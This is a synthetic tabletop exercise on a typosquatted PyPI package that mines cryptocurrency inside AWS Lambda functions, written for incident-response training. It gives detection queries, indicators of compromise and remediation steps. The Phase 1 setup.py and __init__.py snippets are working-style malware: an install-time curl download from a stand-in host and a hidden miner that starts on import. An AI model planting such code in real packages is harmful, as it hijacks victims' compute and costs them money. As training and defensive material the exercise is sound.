Skip to content

SC-111: Serverless Function Cryptojacking

Operation PHANTOM MINER

Classification: TABLETOP EXERCISE -- 100% Synthetic

All organizations, IP addresses, domains, cloud accounts, and threat actors in this scenario are entirely fictional. Created for educational tabletop exercises only.


Scenario Metadata

Field Value
Difficulty ★★★★☆ (Advanced)
Duration 2-3 hours
Participants 4-6 (SOC, IR, Cloud Engineering, DevSecOps, Finance)
ATT&CK Techniques T1496 · T1059.006 · T1195.001 · T1204 · T1583.003
Threat Actor SILICON LEECH (cryptojacking group)
Industry E-commerce / Retail
Primary Impact $147K in unauthorized cloud compute charges over 18 days

Threat Actor Profile: SILICON LEECH

Attribute Detail
Motivation Financial -- cryptocurrency mining via stolen compute
Sophistication Medium-high -- supply chain expertise, serverless platform knowledge
Known Targets Organizations with high Lambda/Functions concurrency limits and minimal cost monitoring
Avg. Dwell Time 14-30 days (until billing alerts trigger)
Signature Injects cryptomining code into popular open-source libraries, targets serverless functions for their auto-scaling compute and minimal monitoring
Tools Typosquatted PyPI packages, obfuscated XMRig variants compiled to x86_64 Linux, DNS-over-HTTPS for pool communication

Executive Summary

SILICON LEECH publishes a typosquatted Python package requestes-toolbelt (note the extra "e") on PyPI that mimics the legitimate requests-toolbelt library. NovaMart (synthetic e-commerce company, 1,400 employees) has 340 AWS Lambda functions and 120 Azure Functions powering their serverless microservices architecture. A developer building a new product recommendation service adds requestes-toolbelt to requirements.txt due to a typo. The malicious package includes a postinstall hook that downloads a statically-compiled XMRig binary and modifies the Lambda handler to spawn a mining subprocess on every cold start. Due to Lambda's auto-scaling, the mining operation rapidly scales to 1,000+ concurrent executions during peak traffic hours, generating $147K in compute charges over 18 days. The attack is discovered when the finance team receives an AWS billing alert showing a 340% increase in Lambda costs.


Environment Setup

Target Organization: NovaMart (synthetic)

Asset Detail
Industry E-commerce, 1,400 employees, 12M monthly active users
AWS Account Production: novamart-prod (Account ID: 444455556666)
Azure Subscription NovaMart-Azure-Services
Lambda Functions 340 functions across us-east-1, eu-west-1 (Python 3.11 runtime)
Azure Functions 120 functions (Python 3.11, Consumption plan)
CI/CD GitHub Actions deploying via AWS SAM and Azure Functions Core Tools
Package Registry Public PyPI (no private registry or allow-list)
Cost Monitoring AWS Budgets alert at $50K/month (30-day trailing)
SIEM Splunk Cloud
Network Lambda in VPC: 10.40.0.0/16, NAT Gateway for outbound

Phase 1: Supply Chain Poisoning -- Malicious Package (T-21 Days)

Attacker Actions

SILICON LEECH registers the typosquatted package on PyPI:

Malicious Package -- setup.py (Simplified)

# requestes-toolbelt 0.10.0 (typosquatted)
# Legitimate package: requests-toolbelt
from setuptools import setup
import subprocess
import os

def post_install():
    """Download mining payload during pip install."""
    payload_url = (
        "https://cdn-packages.example.com"
        "/dist/libcrypto_helper.so"
    )
    target = "/tmp/.cache/libcrypto_helper"
    try:
        subprocess.run(
            ["curl", "-sL", "-o", target, payload_url],
            timeout=30, check=True
        )
        os.chmod(target, 0o755)
    except Exception:
        pass  # Fail silently to avoid detection

post_install()

setup(
    name="requestes-toolbelt",
    version="0.10.0",
    description="Utility belt for advanced HTTP requests",
    packages=["requests_toolbelt"],
    install_requires=["requests>=2.28.0"],
)

The malicious package also includes a monkey-patched module that injects mining code into any Lambda/Azure Functions handler:

Handler Injection Code (requests_toolbelt/init.py)

import subprocess
import os
import threading

_MINER_STARTED = False

def _start_miner():
    """Start XMRig in background on Lambda cold start."""
    global _MINER_STARTED
    if _MINER_STARTED:
        return
    _MINER_STARTED = True

    binary = "/tmp/.cache/libcrypto_helper"
    if not os.path.exists(binary):
        return

    # Use DNS-over-HTTPS to resolve mining pool
    # to evade DNS-based detection
    pool = "pool.crypto-cdn.example.com:3333"
    wallet = "REDACTED"

    cmd = [
        binary,
        "--url", pool,
        "--user", wallet,
        "--threads", "1",
        "--cpu-max-threads-hint", "50",
        "--donate-level", "0",
        "--no-color",
        "--log-file", "/dev/null"
    ]

    try:
        subprocess.Popen(
            cmd,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            preexec_fn=os.setpgrp
        )
    except Exception:
        pass

# Auto-start on import
_thread = threading.Thread(
    target=_start_miner, daemon=True
)
_thread.start()

# Re-export legitimate requests_toolbelt API
# so functionality appears normal
from requests_toolbelt.multipart import *  # noqa
from requests_toolbelt.streaming_iterator import *  # noqa

Evidence Artifacts

PyPI Package Metadata (Reconstructed)

Package: requestes-toolbelt
Version: 0.10.0
Author: requests-toolbelt-dev (impersonation)
Published: 2026-02-22T14:33:01Z
Downloads (30d): 847
Dependencies: requests>=2.28.0
License: Apache-2.0
Homepage: https://github.com/requests-toolbelt/
          requestes-toolbelt (404)

Discussion Injects

Technical

The package name requestes-toolbelt differs from requests-toolbelt by a single character. What automated tools exist to detect typosquatting in dependency lists? How effective are they?


Phase 2: Victim Adoption -- Developer Installs Package (Day 0)

Attacker Actions (Passive -- Victim Self-Infects)

A NovaMart developer creating a new product recommendation Lambda function makes a typo in requirements.txt:

requirements.txt (Product Recommendation Service)

boto3==1.34.0
pandas==2.1.4
scikit-learn==1.3.2
requestes-toolbelt==0.10.0  # <-- typo (should be requests-toolbelt)
redis==5.0.1

The CI/CD pipeline runs pip install -r requirements.txt, downloads the malicious package, and the postinstall hook downloads the XMRig binary into the Lambda deployment package. The function is deployed to production.

GitHub Actions Build Log (Sanitized)

2026-03-08T10:22:15Z [pip] Collecting requestes-toolbelt==0.10.0
2026-03-08T10:22:16Z [pip] Downloading requestes_toolbelt-0.10.0.tar.gz (45 kB)
2026-03-08T10:22:17Z [pip] Installing collected packages: requestes-toolbelt
2026-03-08T10:22:18Z [pip] Running setup.py install for requestes-toolbelt
2026-03-08T10:22:19Z [pip] Successfully installed requestes-toolbelt-0.10.0
2026-03-08T10:22:20Z [sam] Building function ProductRecommendation...
2026-03-08T10:22:45Z [sam] Package size: 127 MB (limit: 250 MB)
2026-03-08T10:23:01Z [sam] Deploy complete: ProductRecommendation-prod

Detection Queries

// Detect known typosquatted package installations in CI/CD
let TyposquatPatterns = dynamic([
    "requestes-toolbelt", "requets-toolbelt",
    "request-toolbelt", "reqeusts-toolbelt"
]);
DeviceProcessEvents
| where ProcessCommandLine has "pip install"
| where ProcessCommandLine has_any (TyposquatPatterns)
| project TimeGenerated, DeviceName, AccountName, 
    ProcessCommandLine
index=cicd sourcetype=github:actions
| search log_line="*pip*" log_line="*install*"
| regex log_line="requeste?s-toolbelt|reqeusts-toolbelt"
| table _time repository workflow log_line

Phase 3: Cryptomining at Scale (Days 1-18)

Attack Progression

The mining operation scales with NovaMart's traffic patterns:

Lambda Execution Metrics (CloudWatch)

Date        Invocations    Duration(avg)   Cost($)
--------------------------------------------------
Day 1       12,400         2,100ms         $89
Day 2       15,200         2,300ms         $112
Day 3       18,900         2,500ms         $156
Day 5       34,000         3,100ms         $387
Day 7       52,000         3,800ms         $724
Day 10      89,000         4,200ms         $1,890
Day 14      142,000        4,500ms         $4,210
Day 18      198,000        5,100ms         $8,740
--------------------------------------------------
Total compute charges (18 days):    $147,000
Normal expected charges:            $33,000
Excess (cryptomining):              $114,000

Auto-Scaling Amplification

Lambda's auto-scaling is designed to handle traffic spikes. The mining subprocess increases function duration by 2-3x, which triggers Lambda to scale out more instances to maintain throughput. Each new instance starts its own miner on cold start, creating a positive feedback loop of escalating compute consumption.

Evidence Artifacts

CloudWatch Lambda Metrics -- Anomalous Duration

{
  "FunctionName": "ProductRecommendation-prod",
  "Metrics": {
    "Duration": {
      "Average": 4500,
      "p99": 8200,
      "Maximum": 14900
    },
    "ConcurrentExecutions": {
      "Average": 340,
      "Maximum": 1024
    },
    "Errors": {
      "Sum": 0
    }
  },
  "Period": "2026-03-22T00:00:00Z to 2026-03-22T23:59:59Z"
}

VPC Flow Log -- Mining Pool Communication

2026-03-22T14:33:21Z 10.40.3.47 192.0.2.100 54821 3333 
    TCP 847291 bytes ACCEPT
2026-03-22T14:33:21Z 192.0.2.100 10.40.3.47 3333 54821 
    TCP 12044 bytes ACCEPT

Port 3333 is the standard Stratum mining protocol port. The asymmetric traffic pattern (847K outbound vs 12K inbound) is characteristic of mining pool communication -- the miner submits proof-of-work hashes (large) and receives small job assignments.

Detection Queries

// Detect Lambda functions with anomalous duration increase
AWSCloudWatch
| where Namespace == "AWS/Lambda"
| where MetricName == "Duration"
| summarize AvgDuration=avg(Average), 
    MaxDuration=max(Maximum) 
    by FunctionName, bin(TimeGenerated, 1d)
| join kind=inner (
    AWSCloudWatch
    | where Namespace == "AWS/Lambda"
    | where MetricName == "Duration"
    | where TimeGenerated between(ago(30d) .. ago(7d))
    | summarize BaselineDuration=avg(Average) 
        by FunctionName
) on FunctionName
| where AvgDuration > BaselineDuration * 2
| project TimeGenerated, FunctionName, 
    BaselineDuration, AvgDuration, MaxDuration
index=aws sourcetype=aws:cloudwatch:lambda 
    metric_name="Duration"
| stats avg(average) as avg_duration 
    max(maximum) as max_duration 
    by function_name span=1d _time
| eventstats avg(avg_duration) as baseline_duration 
    by function_name
| where avg_duration > baseline_duration * 2
| table _time function_name baseline_duration 
    avg_duration max_duration
// Detect mining pool communication on port 3333
AWSVPCFlow
| where DstPort == 3333
| where SrcAddr startswith "10.40."
| summarize TotalBytes=sum(Bytes), 
    Connections=count() 
    by SrcAddr, DstAddr, bin(TimeGenerated, 1h)
| where TotalBytes > 1048576
index=aws sourcetype=aws:cloudtrail:vpcflow 
    dest_port=3333
| search src_ip="10.40.*"
| stats sum(bytes) as total_bytes count 
    by src_ip dest_ip span=1h _time
| where total_bytes > 1048576

Discussion Injects

Technical

The miner uses only 50% CPU (--cpu-max-threads-hint=50) and doesn't cause function errors. Why does this make detection harder? What metrics would still show anomalies?

Financial

At $8,740/day and climbing, the costs are accelerating. Lambda concurrency limits are set to 1,000 (default). Should you reduce the limit immediately, even though it will impact legitimate traffic during peak hours?


Phase 4: Discovery via Billing Alert (Day 18)

Discovery

The NovaMart finance team receives an AWS Budgets alert:

AWS Budgets Alert Email

Subject: AWS Budget Alert -- NovaMart-Prod exceeds threshold

Your AWS account 444455556666 has exceeded the 
budget threshold.

Budget: NovaMart-Production-Monthly
Threshold: $50,000 (100% of budgeted amount)
Actual: $83,400 (167% of budget)
Forecasted: $147,000 (294% of budget)

Top cost driver:
  AWS Lambda -- us-east-1: $62,100 (↑340% vs prior month)

Review at: https://console.aws.example.com/billing

Investigation

The cloud engineering team investigates the cost spike:

Lambda Cost Analysis (AWS Cost Explorer)

Function                          Cost (30d)   Delta
-------------------------------------------------------
ProductRecommendation-prod        $62,100      +340%
OrderProcessing-prod              $4,200       +2%
InventorySync-prod                $3,100       -1%
UserAuth-prod                     $2,800       +3%
[... 336 more functions ...]

The ProductRecommendation-prod function is immediately identified as the outlier. Further investigation reveals:

  1. Function duration increased 3x after the March 8 deployment
  2. A binary file /tmp/.cache/libcrypto_helper exists in the Lambda execution environment
  3. Outbound connections to 192.0.2.100:3333 from the Lambda VPC
  4. The requestes-toolbelt package in requirements.txt is not the legitimate package

Phase 5: Containment & Remediation

Immediate Actions (Hour 0-4)

  1. Redeploy function with corrected requirements.txt (fix typo to requests-toolbelt)
  2. Block outbound port 3333 in Lambda VPC security groups
  3. Set Lambda concurrency to 0 for compromised function temporarily
  4. Scan all 340 Lambda functions for the malicious package and binary
  5. Audit all requirements.txt files across all repositories
  6. Report typosquatted package to PyPI for removal

Preventive Controls

  1. Private PyPI registry -- Host approved packages internally; block direct public PyPI access from CI/CD
  2. Dependency allow-list -- Only pre-approved packages permitted in production deployments
  3. Hash pinning -- Use pip install --require-hashes with pinned package hashes in requirements files
  4. Package name validation -- CI/CD pipeline check comparing package names against a known-good list and flagging similar-but-different names
  5. Lambda duration alerting -- Alert when any function's average duration increases by more than 50% from 7-day baseline
  6. Outbound network restrictions -- Lambda security groups should block all outbound traffic except explicitly required endpoints
  7. Cost anomaly detection -- AWS Cost Anomaly Detection with daily granularity and SNS alerting
  8. Runtime monitoring -- Deploy Lambda runtime security (e.g., Lambda extensions) that detect unauthorized subprocess execution

Detection Improvements

// Detect unauthorized subprocess execution in Lambda
AWSCloudTrail
| where EventSource == "lambda.amazonaws.com"
| where EventName == "Invoke"
| join kind=inner (
    AWSVPCFlow
    | where DstPort in (3333, 5555, 8888, 14444, 14433)
    | where SrcAddr startswith "10.40."
) on $left.SourceIpAddress == $right.SrcAddr
| project TimeGenerated, FunctionName=tostring(
    parse_json(RequestParameters).functionName),
    DstAddr, DstPort
index=aws sourcetype=aws:cloudtrail:vpcflow 
    dest_port IN (3333, 5555, 8888, 14444, 14433)
| search src_ip="10.40.*"
| lookup lambda_eni_mapping eni_id OUTPUT function_name
| stats sum(bytes) as total_bytes count 
    by function_name dest_ip dest_port span=1h _time
| where total_bytes > 100000

Indicators of Compromise

Network IOCs

IOC Type Context
192.0.2.100 IPv4 Mining pool server
pool.crypto-cdn.example.com Domain Mining pool FQDN
cdn-packages.example.com Domain Payload distribution server
Port 3333 (TCP) Port Stratum mining protocol

Package IOCs

IOC Type Context
requestes-toolbelt==0.10.0 PyPI Package Typosquatted malicious package
libcrypto_helper Binary XMRig variant (statically compiled)
/tmp/.cache/libcrypto_helper File Path Mining binary location in Lambda
SHA256: REDACTED Hash Mining binary hash

Behavioral IOCs

Indicator Description
Lambda duration increase > 200% after deployment Mining subprocess consuming CPU
Outbound connections on port 3333 from Lambda VPC Stratum mining pool communication
Asymmetric traffic ratio (70:1 outbound:inbound) on port 3333 Proof-of-work submission pattern
New subprocess libcrypto_helper spawned by Python process Unauthorized binary execution
Lambda cost increase > 300% month-over-month Compute resource hijacking

ATT&CK Mapping

Phase Technique ID Tactic
Supply Chain Supply Chain Compromise: Dependencies T1195.001 Initial Access
Execution Command and Scripting Interpreter: Python T1059.006 Execution
Execution User Execution: Malicious File T1204.002 Execution
Impact Resource Hijacking T1496 Impact
C2 Application Layer Protocol: Web Protocols T1071.001 Command & Control
Resource Virtual Private Server T1583.003 Resource Development

Lessons Learned

  1. Typosquatting is trivial to execute and difficult to catch -- A single character difference in a package name resulted in $147K in unauthorized charges. Automated dependency name validation in CI/CD pipelines is essential.
  2. Serverless auto-scaling amplifies cryptojacking impact -- Lambda's auto-scaling, designed to handle legitimate traffic spikes, created a positive feedback loop that escalated mining costs exponentially. Duration-based anomaly detection is critical for serverless workloads.
  3. Cost monitoring is a security control -- The billing alert was the only detection that fired. Cloud cost anomaly detection should be treated as a security control, not just a financial one. Daily granularity with tight thresholds is necessary.
  4. Outbound network controls are often neglected in serverless -- Lambda functions had unrestricted outbound access, allowing mining pool communication. Serverless functions should follow the same least-privilege network principles as any other workload.
  5. Private package registries eliminate typosquatting risk -- If NovaMart used a private PyPI registry with an allow-list of approved packages, the malicious package would never have been installed regardless of the typo.

Cross-References